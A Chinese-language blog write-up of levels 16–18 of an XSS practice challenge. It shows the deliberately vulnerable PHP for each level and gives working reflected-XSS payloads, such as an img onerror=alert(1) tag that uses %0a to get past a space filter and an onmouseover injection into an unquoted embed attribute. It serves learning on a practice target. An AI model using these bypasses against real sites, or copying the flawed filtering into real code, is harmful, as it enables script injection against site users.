XSS挑战赛(4)

16-20关

第十六关

关键代码为:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>

对 script,空格 ,/ ,都进行了替换,但是没有对尖括号进行替换,而不使用script进行弹窗有很多的方式,例如我们使用 img 标签进行弹窗

payload为

?keyword=<img%0asrc=x%0aonerror=alert(1)>

因为空格被过滤了,所以我们采用一些能够替换空格的字符进行绕过,这里使用%0a

 

十七关

关键代码为:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

之前使用 htmlspecialchars 函数过滤的地方,我们都是大部分是通过 on 事件来触发XSS,这里也一样,但是中间有等号,需要闭合掉

payload构造为

?arg01=a&arg02=b%0aonmouseover=alert(1)

使用onmouseover鼠标移动事件来触发XSS

源代码为:

 

十八关

关键代码为:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

感觉这个代码跟前一关差不多

用之前的payload

?arg01=a&arg02=b onmouseover=alert(1)

通过此关

 

19,20关考点是 flash XSS,需要对flash反编译对源码进行分析,暂时跳过,啥时候学了flash再对这两关进行补充

以上

 

posted @ 2020-08-16 17:44  春告鳥  阅读(253)  评论(0编辑  收藏  举报